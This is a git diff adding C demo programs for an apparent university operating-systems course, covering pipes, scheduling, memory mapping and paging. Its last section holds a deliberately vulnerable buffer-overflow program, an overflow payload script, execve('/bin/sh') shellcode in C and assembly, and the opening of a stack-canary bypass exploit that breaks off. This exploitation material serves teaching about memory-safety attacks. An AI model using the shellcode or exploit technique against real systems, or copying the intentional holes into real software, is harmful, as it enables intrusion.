/* Child process is receiver. */ + /* Receiver doesn't need pipe write end. */ + close(pipefd[1]); + + /* Make stdin file descriptor point to pipe read end. */ + close(0); + dup(pipefd[0]); + + /* + * Pipe read end is pointed to by stdin file + * descriptor. No need for original file descriptor. + */ + close(pipefd[0]); + + read(0, recv_buf, BUFSIZ); + printf("Client received message: \"%s\"\n", recv_buf); + + return 0; + + default: /* Parent process is sender. */ + sleep(3); + /* Sender doesn't need pipe read end. */ + close(pipefd[0]); + /* Make stdout file descriptor point to pipe read end. */ + dup2(pipefd[1],1); + + /* + * Pipe write end is pointed to by stdout file + * descriptor. No need for original file descriptor. + */ + close(pipefd[1]); + + write(1, send_msg, strlen(send_msg)+1); + + wait(NULL); + } + + return 0; +} diff --git a/courses/curs-04-demo/utils/utils.h b/courses/curs-04-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-04-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-04-demo/yield/.gitignore b/courses/curs-04-demo/yield/.gitignore new file mode 100644 index 00000000..6a3bb464 --- /dev/null +++ b/courses/curs-04-demo/yield/.gitignore @@ -0,0 +1 @@ +/yield diff --git a/courses/curs-04-demo/yield/Makefile b/courses/curs-04-demo/yield/Makefile new file mode 100644 index 00000000..61c34e87 --- /dev/null +++ b/courses/curs-04-demo/yield/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: yield + +yield: yield.o + +yield.o: yield.c ../utils/utils.h + +clean: + -rm -f *.o *~ yield diff --git a/courses/curs-04-demo/yield/run-many b/courses/curs-04-demo/yield/run-many new file mode 100644 index 00000000..82a1ad8b --- /dev/null +++ b/courses/curs-04-demo/yield/run-many @@ -0,0 +1,10 @@ +#!/bin/bash + +if test $# -ne 1; then + echo "Usage: $0 number-of-simultaneous-processes" 1>&2 + exit 1 +fi + +for ((i = 0; i < $1; i++)); do + ./yield & +done diff --git a/courses/curs-04-demo/yield/yield.c b/courses/curs-04-demo/yield/yield.c new file mode 100644 index 00000000..70b396f2 --- /dev/null +++ b/courses/curs-04-demo/yield/yield.c @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define diff_us(ta, tb) \ + (((ta).tv_sec - (tb).tv_sec) * 1000 * 1000 + \ + ((ta).tv_nsec - (tb).tv_nsec) / 1000) + +int main(void) +{ + size_t round_no, i, j, val = 0x12345678; + struct timespec time_before, time_after; + + for (round_no = 0; round_no < 10; round_no++) { + for (i = 0; i < 1000000; i++) { + val = val ^ i; + for (j = 0; j < 300; j++) + val = val ^ j; + } + clock_gettime(CLOCK_REALTIME, &time_before); + sched_yield(); + clock_gettime(CLOCK_REALTIME, &time_after); + printf("run %zu, time passed %ld microseconds\n", + round_no, diff_us(time_after, time_before)); + } + + return 0; +} diff --git a/courses/curs-05-demo/access-permissions/.gitignore b/courses/curs-05-demo/access-permissions/.gitignore new file mode 100644 index 00000000..701ae87d --- /dev/null +++ b/courses/curs-05-demo/access-permissions/.gitignore @@ -0,0 +1 @@ +/access-permissions diff --git a/courses/curs-05-demo/access-permissions/Makefile b/courses/curs-05-demo/access-permissions/Makefile new file mode 100644 index 00000000..5c73f5e4 --- /dev/null +++ b/courses/curs-05-demo/access-permissions/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused-but-set-variable -Wno-discarded-qualifiers -g + +.PHONY: all clean + +all: access-permissions + +access-permissions: access-permissions.o + +access-permissions.o: access-permissions.c ../utils/utils.h + +clean: + -rm -f access-permissions.o access-permissions + -rm -f *~ diff --git a/courses/curs-05-demo/access-permissions/access-permissions.c b/courses/curs-05-demo/access-permissions/access-permissions.c new file mode 100644 index 00000000..ea362e3a --- /dev/null +++ b/courses/curs-05-demo/access-permissions/access-permissions.c @@ -0,0 +1,44 @@ +#include + +static int data[] = {10, 20, 30, 40}; /* stored in .data section (rw-) */ + +static void exec_do_nothing(void) /* stored in .text section (r-x) */ +{ +} + +static void do_write(const char *msg, void *address, int value) +{ + puts(msg); + * (int *) address = value; +} + +static void do_read(const char *msg, void *address) +{ + int p; + + puts(msg); + p = * (int *) address; +} + +static void do_exec(const char *msg, void *address) +{ + void (*f)(void) = (void (*)(void)) address; + + puts(msg); + f(); +} + +int main(void) +{ + do_read("reading from .data section", &data[0]); + do_write("writing to .data section", &data[0], 77); + + do_read("reading from .text section", exec_do_nothing); + do_exec("executing .text section", exec_do_nothing); + + /* These won't work due to permission issues. */ + //do_exec("executing .data section", &data[0]); + //do_write("writing to .text section", exec_do_nothing, 77); + + return 0; +} diff --git a/courses/curs-05-demo/address-space/.gitignore b/courses/curs-05-demo/address-space/.gitignore new file mode 100644 index 00000000..efa3e0e7 --- /dev/null +++ b/courses/curs-05-demo/address-space/.gitignore @@ -0,0 +1 @@ +/address-space diff --git a/courses/curs-05-demo/address-space/Makefile b/courses/curs-05-demo/address-space/Makefile new file mode 100644 index 00000000..6af6c119 --- /dev/null +++ b/courses/curs-05-demo/address-space/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: address-space + +address-space: address-space.o + +address-space.o: address-space.c ../utils/utils.h + +clean: + -rm -f *.o *~ address-space *.txt diff --git a/courses/curs-05-demo/address-space/address-space.c b/courses/curs-05-demo/address-space/address-space.c new file mode 100644 index 00000000..b1456250 --- /dev/null +++ b/courses/curs-05-demo/address-space/address-space.c @@ -0,0 +1,61 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +static void stack_allocation(void) +{ + sleep(5); + printf("Allocate 16 pages of stack memory.\n"); + { + char buffer[65536]; /* 16 pages of stack memory */ + } + + sleep(5); + printf("Free 16 pages of stack memory.\n"); + /* When returning stack is automatically discarded. */ +} + +static void heap_allocation(void) +{ + char *ptr; + + sleep(5); + printf("Allocate 16 pages of heap memory.\n"); + ptr = malloc(65536); + + sleep(5); + printf("Free 16 pages of heap memory.\n"); + free(ptr); +} + +static void mapped_allocation(void) +{ + char *ptr; + + sleep(5); + printf("Allocate 16 pages of mapped memory.\n"); + ptr = mmap(NULL, 65536, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + DIE(ptr == MAP_FAILED, "mmap"); + + sleep(5); + printf("Free 16 pages of mpped memory.\n"); + munmap(ptr, 65536); +} + +int main(void) +{ + /* Stack-based memory allocation and deallocation */ + stack_allocation(); + + /* Heap-based memory allocation and deallocation */ + heap_allocation(); + + /* Memory mapping-based allocation and deallocation */ + mapped_allocation(); + + return 0; +} diff --git a/courses/curs-05-demo/allocation-granularity/.gitignore b/courses/curs-05-demo/allocation-granularity/.gitignore new file mode 100644 index 00000000..08895a07 --- /dev/null +++ b/courses/curs-05-demo/allocation-granularity/.gitignore @@ -0,0 +1 @@ +/allocation-granularity diff --git a/courses/curs-05-demo/allocation-granularity/Makefile b/courses/curs-05-demo/allocation-granularity/Makefile new file mode 100644 index 00000000..041c7437 --- /dev/null +++ b/courses/curs-05-demo/allocation-granularity/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: allocation-granularity + +allocation-granularity: allocation-granularity.o + +allocation-granularity.o: allocation-granularity.c ../utils/utils.h + +clean: + -rm -f *.o *~ allocation-granularity *.txt diff --git a/courses/curs-05-demo/allocation-granularity/allocation-granularity.c b/courses/curs-05-demo/allocation-granularity/allocation-granularity.c new file mode 100644 index 00000000..442540e2 --- /dev/null +++ b/courses/curs-05-demo/allocation-granularity/allocation-granularity.c @@ -0,0 +1,28 @@ +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + size_t bytes; + char *ptr; + + if (argc != 2) { + fprintf(stderr, "Usage: $0 allocation-size\n\n"); + exit(EXIT_FAILURE); + } + + sleep(5); + bytes = strtol(argv[1], NULL, 10); + printf("Allocating %zu bytes\n", bytes); + ptr = malloc(bytes); + + sleep(5); + printf("Freeing %zu bytes\n", bytes); + free(ptr); + + sleep(5); + + return 0; +} diff --git a/courses/curs-05-demo/system-memory/.gitignore b/courses/curs-05-demo/system-memory/.gitignore new file mode 100644 index 00000000..acfbdcdc --- /dev/null +++ b/courses/curs-05-demo/system-memory/.gitignore @@ -0,0 +1 @@ +/system-memory diff --git a/courses/curs-05-demo/system-memory/Makefile b/courses/curs-05-demo/system-memory/Makefile new file mode 100644 index 00000000..d8fb6314 --- /dev/null +++ b/courses/curs-05-demo/system-memory/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: system-memory + +system-memory: system-memory.o + +system-memory.o: system-memory.c ../utils/utils.h + +clean: + -rm -f *.o *~ system-memory *.txt diff --git a/courses/curs-05-demo/system-memory/system-memory.c b/courses/curs-05-demo/system-memory/system-memory.c new file mode 100644 index 00000000..781598bb --- /dev/null +++ b/courses/curs-05-demo/system-memory/system-memory.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +int main(void) +{ + size_t page_size; + size_t phys_pages; + + page_size = sysconf(_SC_PAGE_SIZE); + phys_pages = sysconf(_SC_PHYS_PAGES); + printf("page size: %lu, physical pages: %lu, memory: %lu\n", + page_size, phys_pages, page_size * phys_pages); + + printf("data cache L1 size: %lu, instruction cache L1 size: %lu\n", + (size_t) sysconf(_SC_LEVEL1_ICACHE_SIZE), + (size_t) sysconf(_SC_LEVEL1_DCACHE_SIZE)); + + return 0; +} diff --git a/courses/curs-05-demo/utils/utils.h b/courses/curs-05-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-05-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-06-demo/allocation/.gitignore b/courses/curs-06-demo/allocation/.gitignore new file mode 100644 index 00000000..a6076300 --- /dev/null +++ b/courses/curs-06-demo/allocation/.gitignore @@ -0,0 +1 @@ +/allocation diff --git a/courses/curs-06-demo/allocation/Makefile b/courses/curs-06-demo/allocation/Makefile new file mode 100644 index 00000000..224c7457 --- /dev/null +++ b/courses/curs-06-demo/allocation/Makefile @@ -0,0 +1,12 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: allocation + +allocation: allocation.o + +clean: + -rm -f *.o *~ allocation diff --git a/courses/curs-06-demo/allocation/allocation.c b/courses/curs-06-demo/allocation/allocation.c new file mode 100644 index 00000000..cca4d205 --- /dev/null +++ b/courses/curs-06-demo/allocation/allocation.c @@ -0,0 +1,42 @@ +/* + * View virtual memory allocation + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 10 + +int main(void) +{ + char *p; + size_t cnt, i; + + puts("Initializing."); + sleep(5); + + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + puts("Using malloc to allocate 1024 sets of 1024 bytes."); + for (i = 0; i < 1024; i++) { + p = malloc(1024); + DIE(p == NULL, "malloc"); + } + sleep(2); + } + + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + puts("Using mmap to allocate 1MB."); + p = mmap(NULL, 1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + DIE(p == MAP_FAILED, "mmap"); + sleep(2); + } + + return 0; +} diff --git a/courses/curs-06-demo/demand-paging/.gitignore b/courses/curs-06-demo/demand-paging/.gitignore new file mode 100644 index 00000000..9088ea0e --- /dev/null +++ b/courses/curs-06-demo/demand-paging/.gitignore @@ -0,0 +1 @@ +/demand-paging diff --git a/courses/curs-06-demo/demand-paging/Makefile b/courses/curs-06-demo/demand-paging/Makefile new file mode 100644 index 00000000..b4d1d464 --- /dev/null +++ b/courses/curs-06-demo/demand-paging/Makefile @@ -0,0 +1,12 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: demand-paging + +demand-paging: demand-paging.o + +clean: + -rm -f *.o *~ demand-paging diff --git a/courses/curs-06-demo/demand-paging/demand-paging.c b/courses/curs-06-demo/demand-paging/demand-paging.c new file mode 100644 index 00000000..8cc02080 --- /dev/null +++ b/courses/curs-06-demo/demand-paging/demand-paging.c @@ -0,0 +1,46 @@ +/* + * See how demand paging works. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define CHUNK_SIZE (1024*1024) +#define PAGE_SIZE getpagesize() +#define NUM_PAGES (CHUNK_SIZE / PAGE_SIZE) + +#define NUM_ROUNDS 10 + +int main(void) +{ + char *p[NUM_ROUNDS]; /* array of start addresses */ + int cnt, i; + + puts("Initializing ..."); + sleep(5); + + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + printf("Using mmap to allocate %dMB (%d chunks of %d bytes).\n", + CHUNK_SIZE, NUM_PAGES, PAGE_SIZE); + p[cnt] = mmap(NULL, CHUNK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + DIE(p == MAP_FAILED, "malloc"); + sleep(2); + } + + puts("Going for demand paging ..."); + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + printf("Going through all pages in chunk %d.\n", cnt); + for (i = 0; i < NUM_PAGES; i++) + p[cnt][i*PAGE_SIZE] = 'a'; + sleep(2); + } + + return 0; +} diff --git a/courses/curs-06-demo/exec-vars/.gitignore b/courses/curs-06-demo/exec-vars/.gitignore new file mode 100644 index 00000000..c807dbbc --- /dev/null +++ b/courses/curs-06-demo/exec-vars/.gitignore @@ -0,0 +1 @@ +/exec-vars diff --git a/courses/curs-06-demo/exec-vars/Makefile b/courses/curs-06-demo/exec-vars/Makefile new file mode 100644 index 00000000..b33da85d --- /dev/null +++ b/courses/curs-06-demo/exec-vars/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -g + +.PHONY: all clean + +all: exec-vars + +exec-vars: exec-vars.o + +exec-vars.o: exec-vars.c ../utils/utils.h + +clean: + -rm -f *.o *~ exec-vars diff --git a/courses/curs-06-demo/exec-vars/exec-vars.c b/courses/curs-06-demo/exec-vars/exec-vars.c new file mode 100644 index 00000000..bd496618 --- /dev/null +++ b/courses/curs-06-demo/exec-vars/exec-vars.c @@ -0,0 +1,18 @@ +/** + * Variables in process address space viewed with objdump + */ +#include + +int var_a; +int var_b = 2; +char var_c[] = "so"; + +int main(void) +{ + int var_d; + static int var_e; + char *var_f = "rulz"; + char *var_g = malloc(10); + + return 0; +} diff --git a/courses/curs-06-demo/fork-faults/.gitignore b/courses/curs-06-demo/fork-faults/.gitignore new file mode 100644 index 00000000..6a4c8bbd --- /dev/null +++ b/courses/curs-06-demo/fork-faults/.gitignore @@ -0,0 +1 @@ +/fork-faults diff --git a/courses/curs-06-demo/fork-faults/Makefile b/courses/curs-06-demo/fork-faults/Makefile new file mode 100644 index 00000000..006e74e2 --- /dev/null +++ b/courses/curs-06-demo/fork-faults/Makefile @@ -0,0 +1,12 @@ +CFLAGS = -Wall -g + +.PHONY: all clean + +all: fork-faults + +fork-faults: fork-faults.o + +fork-faults.o: fork-faults.c + +clean: + -rm -f *~ *.o fork-faults diff --git a/courses/curs-06-demo/fork-faults/fork-faults.c b/courses/curs-06-demo/fork-faults/fork-faults.c new file mode 100644 index 00000000..4592b17d --- /dev/null +++ b/courses/curs-06-demo/fork-faults/fork-faults.c @@ -0,0 +1,77 @@ +/* + * Page-faults generated by copy-on-write and demand paging + */ + +#include +#include +#include +#include +#include +#include + +#define NUM_PAGES 1024 + +static void wait_for_input(const char *msg) +{ + char buf[32]; + + printf(" * %s\n", msg); + printf(" -- Press ENTER to continue ..."); fflush(stdout); + fgets(buf, 32, stdin); +} + +int main(void) +{ + char *p; + int status; + size_t i; + int page_size = getpagesize(); + char value; + + wait_for_input("beginning"); + + p = mmap(NULL, NUM_PAGES * page_size, PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (p == MAP_FAILED) { + perror("mmap"); + exit(EXIT_FAILURE); + } + + for (i = 0; i < NUM_PAGES; i++) + p[i*page_size] = i; + + wait_for_input("init p before fork"); + + switch (fork()) { + case -1: /* handle error */ + perror("fork"); + exit(EXIT_FAILURE); + + case 0: /* child process */ + wait_for_input("child begin"); + + for (i = 0; i < NUM_PAGES / 2; i++) + value = p[i*page_size]; + wait_for_input("child after read"); + + for (i = NUM_PAGES / 2; i < NUM_PAGES; i++) + p[i*page_size] = page_size-i; + wait_for_input("child after write"); + + exit(EXIT_SUCCESS); + break; + + default: + break; + } + + wait(&status); + wait_for_input("parent after wait"); + + for (i = 0; i < NUM_PAGES; i++) + p[i*page_size] = i; + + wait_for_input("end"); + + return 0; +} diff --git a/courses/curs-06-demo/pmap/.gitignore b/courses/curs-06-demo/pmap/.gitignore new file mode 100644 index 00000000..9866d60e --- /dev/null +++ b/courses/curs-06-demo/pmap/.gitignore @@ -0,0 +1 @@ +/pmap diff --git a/courses/curs-06-demo/pmap/Makefile b/courses/curs-06-demo/pmap/Makefile new file mode 100644 index 00000000..e15ab49a --- /dev/null +++ b/courses/curs-06-demo/pmap/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: pmap + +pmap: pmap.o + +pmap.o: pmap.c ../utils/utils.h + + +clean: + -rm -f *.o *~ pmap diff --git a/courses/curs-06-demo/pmap/pmap.c b/courses/curs-06-demo/pmap/pmap.c new file mode 100644 index 00000000..6852f95f --- /dev/null +++ b/courses/curs-06-demo/pmap/pmap.c @@ -0,0 +1,70 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_PAGES 4 + +static void wait_for_input(const char *msg) +{ + char buf[32]; + + printf(" * %s\n", msg); + printf(" -- Press ENTER to continue ...\n"); fflush(stdout); + fgets(buf, 32, stdin); +} + +int main(void) +{ + int rc; + int page_size = getpagesize(); + char *p; + int fd; + + wait_for_input("before mmap file use pmap to see file mapping"); + + /** First we map a file */ + fd = open("Makefile", O_RDWR ); + DIE(fd == -1, "open"); + + p = mmap(NULL, page_size, + PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); + DIE(p == MAP_FAILED, "mmap"); + wait_for_input("after mapping the file"); + + rc = munmap(p, page_size); + DIE(rc == -1, "munmap"); + wait_for_input("after unmapping the file"); + + rc = close(fd); + DIE(rc == -1, "close"); + + /** Second we map SHARED memory */ + p = mmap(NULL, page_size,PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_SHARED, -1, 0); + DIE(p == MAP_FAILED, "mmap"); + wait_for_input("after mapping SHARED memory"); + + rc = munmap(p, page_size); + DIE(rc == -1, "munmap"); + wait_for_input("after unmapping SHARED memory"); + + /** Thrid we map PRIVATE memory */ + p = mmap(NULL, page_size,PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + DIE(p == MAP_FAILED, "mmap"); + wait_for_input("after mapping PRIVATE memory"); + + rc = munmap(p, page_size); + DIE(rc == -1, "munmap"); + wait_for_input("after unmapping PRIVATE memory"); + + return 0; +} diff --git a/courses/curs-06-demo/utils/utils.h b/courses/curs-06-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-06-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-07-demo/buffer-overflow/Makefile b/courses/curs-07-demo/buffer-overflow/Makefile new file mode 100644 index 00000000..818c317b --- /dev/null +++ b/courses/curs-07-demo/buffer-overflow/Makefile @@ -0,0 +1,44 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused-function -g + +.PHONY: all clean + +all: buffer-overflow buffer-overflow-32 buffer-overflow-pie buffer-overflow-ssp buffer-overflow-asan + +buffer-overflow: buffer-overflow.o + $(CC) -no-pie -o $@ $^ + +buffer-overflow.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fno-stack-protector -fno-PIC -c -o $@ $< + +buffer-overflow-32: buffer-overflow-32.o + $(CC) -no-pie -m32 -o $@ $^ + +buffer-overflow-32.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fno-stack-protector -fno-PIC -m32 -c -o $@ $< + +buffer-overflow-pie: buffer-overflow-pie.o + $(CC) -pie -o $@ $^ + +buffer-overflow-pie.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fno-stack-protector -fPIC -c -o $@ $< + +buffer-overflow-ssp: buffer-overflow-ssp.o + $(CC) -no-pie -o $@ $^ + +buffer-overflow-ssp.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fstack-protector -fno-PIC -c -o $@ $< + +buffer-overflow-asan: buffer-overflow-asan.o + $(CC) -no-pie -fsanitize=address -o $@ $^ + +buffer-overflow-asan.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fsanitize=address -fno-PIC -c -o $@ $< + +clean: + -rm -f buffer-overflow buffer-overflow.o + -rm -f buffer-overflow-32 buffer-overflow-32.o + -rm -f buffer-overflow-pie buffer-overflow-pie.o + -rm -f buffer-overflow-ssp buffer-overflow-ssp.o + -rm -f *~ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow b/courses/curs-07-demo/buffer-overflow/buffer-overflow new file mode 100644 index 00000000..693752c4 Binary files /dev/null and b/courses/curs-07-demo/buffer-overflow/buffer-overflow differ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-32 b/courses/curs-07-demo/buffer-overflow/buffer-overflow-32 new file mode 100644 index 00000000..26a21687 Binary files /dev/null and b/courses/curs-07-demo/buffer-overflow/buffer-overflow-32 differ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-asan b/courses/curs-07-demo/buffer-overflow/buffer-overflow-asan new file mode 100644 index 00000000..28c83530 Binary files /dev/null and b/courses/curs-07-demo/buffer-overflow/buffer-overflow-asan differ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-pie b/courses/curs-07-demo/buffer-overflow/buffer-overflow-pie new file mode 100644 index 00000000..d89b84e7 Binary files /dev/null and b/courses/curs-07-demo/buffer-overflow/buffer-overflow-pie differ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-ssp b/courses/curs-07-demo/buffer-overflow/buffer-overflow-ssp new file mode 100644 index 00000000..713102a3 Binary files /dev/null and b/courses/curs-07-demo/buffer-overflow/buffer-overflow-ssp differ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow.c b/courses/curs-07-demo/buffer-overflow/buffer-overflow.c new file mode 100644 index 00000000..223ceb83 --- /dev/null +++ b/courses/curs-07-demo/buffer-overflow/buffer-overflow.c @@ -0,0 +1,43 @@ +/* + * Use buffer overflow to overwrite code pointer and hijack the control flow. + */ + +#include +#include +#include + +#include "utils.h" + +static void actual_func(void) +{ + printf("Call actual function.\n\n"); +} + +static void inject_func(void) +{ + printf("Call injected function.\n\n"); + exit(EXIT_SUCCESS); +} + +static size_t read_data(void) +{ + void (*func_ptr)(void) = actual_func; + char buffer[16]; + + memset(buffer, 'A', 16); + printf("Insert message (less than 16 bytes): "); + fgets(buffer, 48, stdin); + func_ptr(); + + return strlen(buffer); +} + +int main(void) +{ + size_t len; + + len = read_data(); + printf("\nRead %zd bytes from standard input.\n", len); + + return 0; +} diff --git a/courses/curs-07-demo/buffer-overflow/payloads.py b/courses/curs-07-demo/buffer-overflow/payloads.py new file mode 100644 index 00000000..156118d7 --- /dev/null +++ b/courses/curs-07-demo/buffer-overflow/payloads.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import struct + +# 32 bits +actual_func = 0x08048546 +injected_func = 0x0804855f + +offset = 0x1c-0xc +payload = offset * b"A" + struct.pack(" + +static char shellcode[64]; + +int main(void) +{ + void (*f)(void) = (void (*)(void)) shellcode; + + printf("Give data: "); + fgets(shellcode, 64, stdin); + f(); + + return 0; +} diff --git a/courses/curs-07-demo/shellcode/run-shellcode.c b/courses/curs-07-demo/shellcode/run-shellcode.c new file mode 100644 index 00000000..49908f18 --- /dev/null +++ b/courses/curs-07-demo/shellcode/run-shellcode.c @@ -0,0 +1,14 @@ +#if defined __i386__ +static const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; +#elif defined __x86_64__ +static const char shellcode[] = "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; +#endif + +int main(void) +{ + void (*f)(void) = (void (*)(void)) shellcode; + + f(); + + return 0; +} diff --git a/courses/curs-07-demo/shellcode/shellcode-32.asm b/courses/curs-07-demo/shellcode/shellcode-32.asm new file mode 100644 index 00000000..9845710e --- /dev/null +++ b/courses/curs-07-demo/shellcode/shellcode-32.asm @@ -0,0 +1,22 @@ +; Inspired by: http://repo.shell-storm.org/shellcode/files/shellcode-827.php + +; Do execve("/bin//sh", ["/bin//sh", NULL], NULL) as a syscall. +; Arguments are passed in registers: +; ebx <- "/bin//sh" +; ecx <- ["/bin//sh", NULL] +; edx <- NULL +; Syscall number (0xb) is passed in al register. + +BITS 32 + +xor eax, eax ; eax <- 0 +push eax ; NUL-terminate the "/bin//sh" string. +push 0x68732f2f ; Push "//sh" string on the stack. +push 0x6e69622f ; Push "/bin" string on the stack. +mov ebx, esp ; ebx <- pointer to "/bin//sh" (NUL-terminated). +push eax ; Place NULL on the stack. +push ebx ; Place pointer to "/bin//sh". +mov ecx, esp ; ecx <- ["/bin//sh", NULL] +xor edx, edx ; edx <- NULL +mov al, 0xb ; Store execve syscall number (11) in al. +int 0x80 ; Do syscall. diff --git a/courses/curs-07-demo/shellcode/shellcode.asm b/courses/curs-07-demo/shellcode/shellcode.asm new file mode 100644 index 00000000..394e2642 --- /dev/null +++ b/courses/curs-07-demo/shellcode/shellcode.asm @@ -0,0 +1,22 @@ +; Inspired by: http://shell-storm.org/shellcode/files/shellcode-76.php + +; Do execve("/bin/sh", ["/bin/sh", NULL], NULL) as a syscall. +; Arguments are passed in registers: +; rdi <- "/bin/sh" +; rsi <- ["/bin/sh", NULL] +; rdx <- NULL +; Syscall number (0x3b) is passed in rax register. + +BITS 64 + +xor rdx, rdx ; rdx <- NULL +mov rbx, 0x68732f6e69622fff ; rbx <- "hs/nib/" + 0xff +shr rbx, 0x8 ; rbx <- 0x00 + "hs/nib/" +push rbx ; Push "/bin/sh" + 0x00 on the stack. +mov rdi, rsp ; rdi <- pointer to "/bin/sh" (NUL-terminated) +xor rax, rax ; rax <- 0 +push rax ; Push NULL on the stack. +push rdi ; Push pointer to "/bin/sh". +mov rsi, rsp ; rsi <-> ["/bin/sh", NULL] +mov al, 0x3b ; Store execve syscall number (0x3b) in rax. +syscall ; Do syscall. diff --git a/courses/curs-07-demo/socket-ssp/Makefile b/courses/curs-07-demo/socket-ssp/Makefile new file mode 100644 index 00000000..b9dffed0 --- /dev/null +++ b/courses/curs-07-demo/socket-ssp/Makefile @@ -0,0 +1,13 @@ +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused-function -g -fstack-protector -fno-PIC +LDFLAGS = -no-pie + +.PHONY: all clean + +all: socket_ssp + +socket_ssp: socket_ssp.o + +clean: + -rm -f socket_ssp.o socket_ssp + -rm -f *~ diff --git a/courses/curs-07-demo/socket-ssp/exploit.py b/courses/curs-07-demo/socket-ssp/exploit.py new file mode 100644 index 00000000..26d2c286 --- /dev/null +++ b/courses/curs-07-demo/socket-ssp/exploit.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 + +import sys +import struct +import socket + +# Address of inject_func() used to overwrite return address with. +# Find it using objdump -d -M intel socket_ssp | grep grep ':'. +overwrite_value = 0x4009a5 + +# Craft payload. Start with buffer contents: offset bytes from beginning +# of buffer to canary value. Stack is: +# -buffer (rbp-0x20) +# -buffer +# -... +# -... +# -canary (rbp-0x8) +# -saved_rbp (rbp) +# -return_address (rbp+0x8) +offset = 24 +payload = b'A'*offset + + +# Find bytes in canary by 